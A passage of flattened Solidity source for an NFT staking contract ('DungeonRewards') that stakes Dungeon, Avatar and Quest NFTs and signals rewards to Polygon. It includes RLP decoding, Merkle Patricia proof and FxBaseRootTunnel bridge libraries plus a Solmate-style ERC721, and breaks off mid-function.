uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint256 len;
uint256 memPtr;
}
struct Iterator {
RLPItem item; // Item that's being iterated over.
uint256 nextPtr; // Position of the next item in the list.
}
/*
* @dev Returns the next element in the iteration. Reverts if it has not next element.
* @param self The iterator.
* @return The next element in the iteration.
*/
function next(Iterator memory self) internal pure returns (RLPItem memory) {
require(hasNext(self));
uint256 ptr = self.nextPtr;
uint256 itemLength = _itemLength(ptr);
self.nextPtr = ptr + itemLength;
return RLPItem(itemLength, ptr);
}
/*
* @dev Returns true if the iteration has more elements.
* @param self The iterator.
* @return true if the iteration has more elements.
*/
function hasNext(Iterator memory self) internal pure returns (bool) {
RLPItem memory item = self.item;
return self.nextPtr < item.memPtr + item.len;
}
/*
* @param item RLP encoded bytes
*/
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
uint256 memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
/*
* @dev Create an iterator. Reverts if item is not a list.
* @param self The RLP item.
* @return An 'Iterator' over the item.
*/
function iterator(RLPItem memory self) internal pure returns (Iterator memory) {
require(isList(self));
uint256 ptr = self.memPtr + _payloadOffset(self.memPtr);
return Iterator(self, ptr);
}
/*
* @param item RLP encoded bytes
*/
function rlpLen(RLPItem memory item) internal pure returns (uint256) {
return item.len;
}
/*
* @param item RLP encoded bytes
*/
function payloadLen(RLPItem memory item) internal pure returns (uint256) {
return item.len - _payloadOffset(item.memPtr);
}
/*
* @param item RLP encoded list in bytes
*/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) {
require(isList(item));
uint256 items = numItems(item);
RLPItem[] memory result = new RLPItem[](items);
uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint256 dataLen;
for (uint256 i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
return result;
}
// @return indicator whether encoded payload is a list. negate this function call for isData.
function isList(RLPItem memory item) internal pure returns (bool) {
if (item.len == 0) return false;
uint8 byte0;
uint256 memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START) return false;
return true;
}
/*
* @dev A cheaper version of keccak256(toRlpBytes(item)) that avoids copying memory.
* @return keccak256 hash of RLP encoded bytes.
*/
function rlpBytesKeccak256(RLPItem memory item) internal pure returns (bytes32) {
uint256 ptr = item.memPtr;
uint256 len = item.len;
bytes32 result;
assembly {
result := keccak256(ptr, len)
}
return result;
}
function payloadLocation(RLPItem memory item) internal pure returns (uint256, uint256) {
uint256 offset = _payloadOffset(item.memPtr);
uint256 memPtr = item.memPtr + offset;
uint256 len = item.len - offset; // data length
return (memPtr, len);
}
/*
* @dev A cheaper version of keccak256(toBytes(item)) that avoids copying memory.
* @return keccak256 hash of the item payload.
*/
function payloadKeccak256(RLPItem memory item) internal pure returns (bytes32) {
(uint256 memPtr, uint256 len) = payloadLocation(item);
bytes32 result;
assembly {
result := keccak256(memPtr, len)
}
return result;
}
/** RLPItem conversions into data types **/
// @returns raw rlp encoding in bytes
function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {
bytes memory result = new bytes(item.len);
if (result.length == 0) return result;
uint256 ptr;
assembly {
ptr := add(0x20, result)
}
copy(item.memPtr, ptr, item.len);
return result;
}
// any non-zero byte is considered true
function toBoolean(RLPItem memory item) internal pure returns (bool) {
require(item.len == 1);
uint256 result;
uint256 memPtr = item.memPtr;
assembly {
result := byte(0, mload(memPtr))
}
return result == 0 ? false : true;
}
function toAddress(RLPItem memory item) internal pure returns (address) {
// 1 byte for the length prefix
require(item.len == 21);
return address(uint160(toUint(item)));
}
function toUint(RLPItem memory item) internal pure returns (uint256) {
require(item.len > 0 && item.len <= 33);
uint256 offset = _payloadOffset(item.memPtr);
uint256 len = item.len - offset;
uint256 result;
uint256 memPtr = item.memPtr + offset;
assembly {
result := mload(memPtr)
// shfit to the correct location if neccesary
if lt(len, 32) {
result := div(result, exp(256, sub(32, len)))
}
}
return result;
}
// enforces 32 byte length
function toUintStrict(RLPItem memory item) internal pure returns (uint256) {
// one byte prefix
require(item.len == 33);
uint256 result;
uint256 memPtr = item.memPtr + 1;
assembly {
result := mload(memPtr)
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes memory) {
require(item.len > 0);
uint256 offset = _payloadOffset(item.memPtr);
uint256 len = item.len - offset; // data length
bytes memory result = new bytes(len);
uint256 destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(item.memPtr + offset, destPtr, len);
return result;
}
/*
* Private Helpers
*/
// @return number of payload items inside an encoded list.
function numItems(RLPItem memory item) private pure returns (uint256) {
if (item.len == 0) return 0;
uint256 count = 0;
uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint256 endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr); // skip over an item
count++;
}
return count;
}
// @return entire rlp item byte length
function _itemLength(uint256 memPtr) private pure returns (uint256) {
uint256 itemLen;
uint256 byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START) itemLen = 1;
else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is
memPtr := add(memPtr, 1) // skip over the first byte
/* 32 byte word size */
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len
itemLen := add(dataLen, add(byteLen, 1))
}
} else if (byte0 < LIST_LONG_START) {
itemLen = byte0 - LIST_SHORT_START + 1;
} else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length
itemLen := add(dataLen, add(byteLen, 1))
}
}
return itemLen;
}
// @return number of bytes until the data
function _payloadOffset(uint256 memPtr) private pure returns (uint256) {
uint256 byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START) return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1;
else if (byte0 < LIST_SHORT_START)
// being explicit
return byte0 - (STRING_LONG_START - 1) + 1;
else return byte0 - (LIST_LONG_START - 1) + 1;
}
/*
* @param src Pointer to source
* @param dest Pointer to destination
* @param len Amount of memory to copy from the source
*/
function copy(
uint256 src,
uint256 dest,
uint256 len
) private pure {
if (len == 0) return;
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
if (len == 0) return;
// left over bytes. Mask is used to remove unwanted bytes from the word
uint256 mask = 256**(WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
}
// File: default_workspace/contracts/lib/ExitPayloadReader.sol
pragma solidity ^0.8.0;
library ExitPayloadReader {
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
uint8 constant WORD_SIZE = 32;
struct ExitPayload {
RLPReader.RLPItem[] data;
}
struct Receipt {
RLPReader.RLPItem[] data;
bytes raw;
uint256 logIndex;
}
struct Log {
RLPReader.RLPItem data;
RLPReader.RLPItem[] list;
}
struct LogTopics {
RLPReader.RLPItem[] data;
}
// copy paste of private copy() from RLPReader to avoid changing of existing contracts
function copy(
uint256 src,
uint256 dest,
uint256 len
) private pure {
if (len == 0) return;
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
// left over bytes. Mask is used to remove unwanted bytes from the word
uint256 mask = 256**(WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
function toExitPayload(bytes memory data) internal pure returns (ExitPayload memory) {
RLPReader.RLPItem[] memory payloadData = data.toRlpItem().toList();
return ExitPayload(payloadData);
}
function getHeaderNumber(ExitPayload memory payload) internal pure returns (uint256) {
return payload.data[0].toUint();
}
function getBlockProof(ExitPayload memory payload) internal pure returns (bytes memory) {
return payload.data[1].toBytes();
}
function getBlockNumber(ExitPayload memory payload) internal pure returns (uint256) {
return payload.data[2].toUint();
}
function getBlockTime(ExitPayload memory payload) internal pure returns (uint256) {
return payload.data[3].toUint();
}
function getTxRoot(ExitPayload memory payload) internal pure returns (bytes32) {
return bytes32(payload.data[4].toUint());
}
function getReceiptRoot(ExitPayload memory payload) internal pure returns (bytes32) {
return bytes32(payload.data[5].toUint());
}
function getReceipt(ExitPayload memory payload) internal pure returns (Receipt memory receipt) {
receipt.raw = payload.data[6].toBytes();
RLPReader.RLPItem memory receiptItem = receipt.raw.toRlpItem();
if (receiptItem.isList()) {
// legacy tx
receipt.data = receiptItem.toList();
} else {
// pop first byte before parsting receipt
bytes memory typedBytes = receipt.raw;
bytes memory result = new bytes(typedBytes.length - 1);
uint256 srcPtr;
uint256 destPtr;
assembly {
srcPtr := add(33, typedBytes)
destPtr := add(0x20, result)
}
copy(srcPtr, destPtr, result.length);
receipt.data = result.toRlpItem().toList();
}
receipt.logIndex = getReceiptLogIndex(payload);
return receipt;
}
function getReceiptProof(ExitPayload memory payload) internal pure returns (bytes memory) {
return payload.data[7].toBytes();
}
function getBranchMaskAsBytes(ExitPayload memory payload) internal pure returns (bytes memory) {
return payload.data[8].toBytes();
}
function getBranchMaskAsUint(ExitPayload memory payload) internal pure returns (uint256) {
return payload.data[8].toUint();
}
function getReceiptLogIndex(ExitPayload memory payload) internal pure returns (uint256) {
return payload.data[9].toUint();
}
// Receipt methods
function toBytes(Receipt memory receipt) internal pure returns (bytes memory) {
return receipt.raw;
}
function getLog(Receipt memory receipt) internal pure returns (Log memory) {
RLPReader.RLPItem memory logData = receipt.data[3].toList()[receipt.logIndex];
return Log(logData, logData.toList());
}
// Log methods
function getEmitter(Log memory log) internal pure returns (address) {
return RLPReader.toAddress(log.list[0]);
}
function getTopics(Log memory log) internal pure returns (LogTopics memory) {
return LogTopics(log.list[1].toList());
}
function getData(Log memory log) internal pure returns (bytes memory) {
return log.list[2].toBytes();
}
function toRlpBytes(Log memory log) internal pure returns (bytes memory) {
return log.data.toRlpBytes();
}
// LogTopics methods
function getField(LogTopics memory topics, uint256 index) internal pure returns (RLPReader.RLPItem memory) {
return topics.data[index];
}
}
// File: default_workspace/contracts/lib/MerklePatriciaProof.sol
pragma solidity ^0.8.0;
library MerklePatriciaProof {
/*
* @dev Verifies a merkle patricia proof.
* @param value The terminating value in the trie.
* @param encodedPath The path in the trie leading to value.
* @param rlpParentNodes The rlp encoded stack of nodes.
* @param root The root hash of the trie.
* @return The boolean validity of the proof.
*/
function verify(
bytes memory value,
bytes memory encodedPath,
bytes memory rlpParentNodes,
bytes32 root
) internal pure returns (bool) {
RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes);
RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item);
bytes memory currentNode;
RLPReader.RLPItem[] memory currentNodeList;
bytes32 nodeKey = root;
uint256 pathPtr = 0;
bytes memory path = _getNibbleArray(encodedPath);
if (path.length == 0) {
return false;
}
for (uint256 i = 0; i < parentNodes.length; i++) {
if (pathPtr > path.length) {
return false;
}
currentNode = RLPReader.toRlpBytes(parentNodes[i]);
if (nodeKey != keccak256(currentNode)) {
return false;
}
currentNodeList = RLPReader.toList(parentNodes[i]);
if (currentNodeList.length == 17) {
if (pathPtr == path.length) {
if (keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value)) {
return true;
} else {
return false;
}
}
uint8 nextPathNibble = uint8(path[pathPtr]);
if (nextPathNibble > 16) {
return false;
}
nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[nextPathNibble]));
pathPtr += 1;
} else if (currentNodeList.length == 2) {
uint256 traversed = _nibblesToTraverse(RLPReader.toBytes(currentNodeList[0]), path, pathPtr);
if (pathPtr + traversed == path.length) {
//leaf node
if (keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value)) {
return true;
} else {
return false;
}
}
//extension node
if (traversed == 0) {
return false;
}
pathPtr += traversed;
nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1]));
} else {
return false;
}
}
}
function _nibblesToTraverse(
bytes memory encodedPartialPath,
bytes memory path,
uint256 pathPtr
) private pure returns (uint256) {
uint256 len = 0;
// encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath
// and slicedPath have elements that are each one hex character (1 nibble)
bytes memory partialPath = _getNibbleArray(encodedPartialPath);
bytes memory slicedPath = new bytes(partialPath.length);
// pathPtr counts nibbles in path
// partialPath.length is a number of nibbles
for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) {
bytes1 pathNibble = path[i];
slicedPath[i - pathPtr] = pathNibble;
}
if (keccak256(partialPath) == keccak256(slicedPath)) {
len = partialPath.length;
} else {
len = 0;
}
return len;
}
// bytes b must be hp encoded
function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) {
bytes memory nibbles = "";
if (b.length > 0) {
uint8 offset;
uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b));
if (hpNibble == 1 || hpNibble == 3) {
nibbles = new bytes(b.length * 2 - 1);
bytes1 oddNibble = _getNthNibbleOfBytes(1, b);
nibbles[0] = oddNibble;
offset = 1;
} else {
nibbles = new bytes(b.length * 2 - 2);
offset = 0;
}
for (uint256 i = offset; i < nibbles.length; i++) {
nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b);
}
}
return nibbles;
}
function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) {
return bytes1(n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10);
}
}
// File: default_workspace/contracts/tunnel/FxBaseRootTunnel.sol
pragma solidity ^0.8.0;
interface IFxStateSender {
function sendMessageToChild(address _receiver, bytes calldata _data) external;
}
contract ICheckpointManager {
struct HeaderBlock {
bytes32 root;
uint256 start;
uint256 end;
uint256 createdAt;
address proposer;
}
/**
* @notice mapping of checkpoint header numbers to block details
* @dev These checkpoints are submited by plasma contracts
*/
mapping(uint256 => HeaderBlock) public headerBlocks;
}
abstract contract FxBaseRootTunnel {
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
using ExitPayloadReader for bytes;
using ExitPayloadReader for ExitPayloadReader.ExitPayload;
using ExitPayloadReader for ExitPayloadReader.Log;
using ExitPayloadReader for ExitPayloadReader.LogTopics;
using ExitPayloadReader for ExitPayloadReader.Receipt;
// keccak256(MessageSent(bytes))
bytes32 public constant SEND_MESSAGE_EVENT_SIG = 0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036;
// state sender contract
IFxStateSender public fxRoot;
// root chain manager
ICheckpointManager public checkpointManager;
// child tunnel contract which receives and sends messages
address public fxChildTunnel;
// storage to avoid duplicate exits
mapping(bytes32 => bool) public processedExits;
constructor(address _checkpointManager, address _fxRoot) {
checkpointManager = ICheckpointManager(_checkpointManager);
fxRoot = IFxStateSender(_fxRoot);
}
// set fxChildTunnel if not set already
function setFxChildTunnel(address _fxChildTunnel) public virtual {
require(fxChildTunnel == address(0x0), "FxBaseRootTunnel: CHILD_TUNNEL_ALREADY_SET");
fxChildTunnel = _fxChildTunnel;
}
/**
* @notice Send bytes message to Child Tunnel
* @param message bytes message that will be sent to Child Tunnel
* some message examples -
* abi.encode(tokenId);
* abi.encode(tokenId, tokenMetadata);
* abi.encode(messageType, messageData);
*/
function _sendMessageToChild(bytes memory message) internal {
fxRoot.sendMessageToChild(fxChildTunnel, message);
}
function _validateAndExtractMessage(bytes memory inputData) internal returns (bytes memory) {
ExitPayloadReader.ExitPayload memory payload = inputData.toExitPayload();
bytes memory branchMaskBytes = payload.getBranchMaskAsBytes();
uint256 blockNumber = payload.getBlockNumber();
// checking if exit has already been processed
// unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex)
bytes32 exitHash = keccak256(
abi.encodePacked(
blockNumber,
// first 2 nibbles are dropped while generating nibble array
// this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only)
// so converting to nibble array and then hashing it
MerklePatriciaProof._getNibbleArray(branchMaskBytes),
payload.getReceiptLogIndex()
)
);
require(processedExits[exitHash] == false, "FxRootTunnel: EXIT_ALREADY_PROCESSED");
processedExits[exitHash] = true;
ExitPayloadReader.Receipt memory receipt = payload.getReceipt();
ExitPayloadReader.Log memory log = receipt.getLog();
// check child tunnel
require(fxChildTunnel == log.getEmitter(), "FxRootTunnel: INVALID_FX_CHILD_TUNNEL");
bytes32 receiptRoot = payload.getReceiptRoot();
// verify receipt inclusion
require(
MerklePatriciaProof.verify(receipt.toBytes(), branchMaskBytes, payload.getReceiptProof(), receiptRoot),
"FxRootTunnel: INVALID_RECEIPT_PROOF"
);
// verify checkpoint inclusion
_checkBlockMembershipInCheckpoint(
blockNumber,
payload.getBlockTime(),
payload.getTxRoot(),
receiptRoot,
payload.getHeaderNumber(),
payload.getBlockProof()
);
ExitPayloadReader.LogTopics memory topics = log.getTopics();
require(
bytes32(topics.getField(0).toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig
"FxRootTunnel: INVALID_SIGNATURE"
);
// received message data
bytes memory message = abi.decode(log.getData(), (bytes)); // event decodes params again, so decoding bytes to get message
return message;
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
(bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = checkpointManager.headerBlocks(headerNumber);
require(
keccak256(abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)).checkMembership(
blockNumber - startBlock,
headerRoot,
blockProof
),
"FxRootTunnel: INVALID_HEADER"
);
return createdAt;
}
/**
* @notice receive message from L2 to L1, validated by proof
* @dev This function verifies if the transaction actually happened on child chain
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function receiveMessage(bytes memory inputData) public virtual {
bytes memory message = _validateAndExtractMessage(inputData);
_processMessageFromChild(message);
}
/**
* @notice Process message received from Child Tunnel
* @dev function needs to be implemented to handle message as per requirement
* This is called by onStateReceive function.
* Since it is called via a system call, any event will not be emitted during its execution.
* @param message bytes message that was sent from Child Tunnel
*/
function _processMessageFromChild(bytes memory message) internal virtual;
}
// File: default_workspace/contracts/IDungeonRewards.sol
pragma solidity ^0.8.12;
interface IDungeonRewards {
// so we can confirm whether a wallet holds any staked dungeons, useful for Generative Avatars gas-only mint
function balanceOfDungeons(address owner) external view returns (uint256);
// so we can confirm when a wallet staked their dungeons, useful for Generative Avatars gas-only mint
function dungeonFirstStaked(address owner) external view returns (uint256);
function balanceOfAvatars(address owner) external view returns (uint256);
function avatarFirstStaked(address owner) external view returns (uint256);
function balanceOfQuests(address owner) external view returns (uint256);
function questFirstStaked(address owner) external view returns (uint256);
function getStakedTokens(address user) external view returns (uint256[] memory dungeons, uint256[] memory avatars,
uint256[] memory quests);
}
// File: default_workspace/contracts/ERC721.sol
pragma solidity >=0.8.0;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
address owner = ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],
"NOT_AUTHORIZED"
);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
ownerOf[id] = to;
delete getApproved[id];
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
// Counter overflow is incredibly unrealistic.
unchecked {
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _burn(uint256 id) internal virtual {
address owner = ownerOf[id];
require(ownerOf[id] != address(0), "NOT_MINTED");
// Ownership check above ensures no underflow.
unchecked {
balanceOf[owner]--;
}
delete ownerOf[id];
delete getApproved[id];
emit Transfer(owner, address(0), id);
}
/*///////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
// File: default_workspace/contracts/IDNGToken.sol
pragma solidity ^0.8.12;
interface IDNGToken {
enum NftType {
Dungeon,
Avatar,
Quest
}
}
// File: default_workspace/contracts/DungeonRewards.sol
pragma solidity ^0.8.12;
/**
________ ___ ___ ________ ________ _______ ________ ________
|\ ___ \|\ \|\ \|\ ___ \|\ ____\|\ ___ \ |\ __ \|\ ___ \
\ \ \_|\ \ \ \\\ \ \ \\ \ \ \ \___|\ \ __/|\ \ \|\ \ \ \\ \ \
\ \ \ \\ \ \ \\\ \ \ \\ \ \ \ \ __\ \ \_|/_\ \ \\\ \ \ \\ \ \
\ \ \_\\ \ \ \\\ \ \ \\ \ \ \ \|\ \ \ \_|\ \ \ \\\ \ \ \\ \ \
\ \_______\ \_______\ \__\\ \__\ \_______\ \_______\ \_______\ \__\\ \__\
\|_______|\|_______|\|__| \|__|\|_______|\|_______|\|_______|\|__| \|__|
________ _______ ___ __ ________ ________ ________ ________
|\ __ \|\ ___ \ |\ \ |\ \|\ __ \|\ __ \|\ ___ \|\ ____\
\ \ \|\ \ \ __/|\ \ \ \ \ \ \ \|\ \ \ \|\ \ \ \_|\ \ \ \___|_
\ \ _ _\ \ \_|/_\ \ \ __\ \ \ \ __ \ \ _ _\ \ \ \\ \ \_____ \
\ \ \\ \\ \ \_|\ \ \ \|\__\_\ \ \ \ \ \ \ \\ \\ \ \_\\ \|____|\ \
\ \__\\ _\\ \_______\ \____________\ \__\ \__\ \__\\ _\\ \_______\____\_\ \
\|__|\|__|\|_______|\|____________|\|__|\|__|\|__|\|__|\|_______|\_________\
\|_________|
**/
contract DungeonRewards is IDungeonRewards, IDNGToken, FxBaseRootTunnel, Ownable {
/*///////////////////////////////////////////////////////////////
STORAGE
//////////////////////////////////////////////////////////////*/
ERC721 public dungeonContract;
ERC721 public avatarContract;
ERC721 public questContract;
struct Staker {
uint256[] stakedDungeons;
uint256 dungeonStakedOn; // timestamp of when holder first staked their dungeon(s) (used to calculated eligibility for avatars).
uint256[] stakedAvatars;
uint256 avatarStakedOn; // timestamp of when holder first staked their avatar(s)
uint256[] stakedQuests;
uint256 questStakedOn; // timestamp of when holder first staked their quest(s)
}
mapping(address => Staker) public userInfo;
bool public stakingPaused;
constructor(
address checkpointManager,
address fxRoot,
address _dungeonContract
) FxBaseRootTunnel(checkpointManager, fxRoot) {
dungeonContract = ERC721(_dungeonContract);
}
// @notice Set the contract addresses for all future instances.
function setContractAddresses(
address _avatarContract,
address _questContract
) public onlyOwner {
avatarContract = ERC721(_avatarContract);
questContract = ERC721(_questContract);
}
// Pause staking and unstaking
function setStakingPaused(bool paused) public onlyOwner {
stakingPaused = paused;
}
// For collab.land to give a role based on staking status
function balanceOf(address owner) public view returns (uint256) {
if(balanceOfDungeons(owner)>0 && balanceOfAvatars(owner)>0 && balanceOfQuests(owner)>0) return 3;
if(balanceOfDungeons(owner)>0 && balanceOfAvatars(owner)>0 && balanceOfQuests(owner)==0) return 2;
if(balanceOfDungeons(owner)>0 && balanceOfAvatars(owner)==0 && balanceOfQuests(owner)==0) return 1;
return 0;
}
// so we can confirm whether a wallet holds any staked dungeons, useful for Generative Avatars gas-only mint
function balanceOfDungeons(address owner) public view returns (uint256) {
return userInfo[owner].stakedDungeons.length;
}
// so we can confirm when a wallet staked their dungeons, useful for Generative Avatars gas-only mint
function dungeonFirstStaked(address owner) public view returns (uint256) {
return userInfo[owner].dungeonStakedOn;
}
function balanceOfAvatars(address owner) public view returns (uint256) {
return userInfo[owner].stakedAvatars.length;
}
function avatarFirstStaked(address owner) public view returns (uint256) {
return userInfo[owner].avatarStakedOn;
}
function balanceOfQuests(address owner) public view returns (uint256) {
return userInfo[owner].stakedQuests.length;
}
function questFirstStaked(address owner) public view returns (uint256) {
return userInfo[owner].questStakedOn;
}
// get staked tokens for address
function getStakedTokens(address user) public view returns (
uint256[] memory dungeons,
uint256[] memory avatars,
uint256[] memory quests
)
{
Staker memory staker = userInfo[user];
return (
staker.stakedDungeons,
staker.stakedAvatars,
staker.stakedQuests
);
}
function bulkStake(
uint256[] memory dungeons,
uint256[] memory avatars,
uint256[] memory quests
) public {
if (dungeons.length > 0) stakeMultipleDungeons(dungeons);
if (avatars.length > 0) stakeMultipleAvatars(avatars);
if (quests.length > 0) stakeMultipleQuests(quests);
}
function bulkUnstake(
uint256[] memory dungeons,
uint256[] memory avatars,
uint256[] memory quests
) public {
if (dungeons.length > 0) unstakeMultipleDungeons(dungeons);
if (avatars.length > 0) unstakeMultipleAvatars(avatars);
if (quests.length > 0) unstakeMultipleQuests(quests);
}
function stakeMultipleDungeons(uint256[] memory tokenIds) public {
require(!stakingPaused, "Staking currently paused.");
require(tokenIds.length>0, "No tokenIds provided.");
Staker storage staker = userInfo[msg.sender];
if (staker.dungeonStakedOn == 0) { // set our dungeon staked on once (if they unstake, it resets to zero and will be reset when they stake again)
staker.dungeonStakedOn = block.timestamp;
}
for (uint256 i = 0; i < tokenIds.length; i++) {
staker.stakedDungeons.push(tokenIds[i]);
dungeonContract.transferFrom(
msg.sender,
address(this),
tokenIds[i]
);
}
// start accumulating $DNG rewards on polygon
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Dungeon),
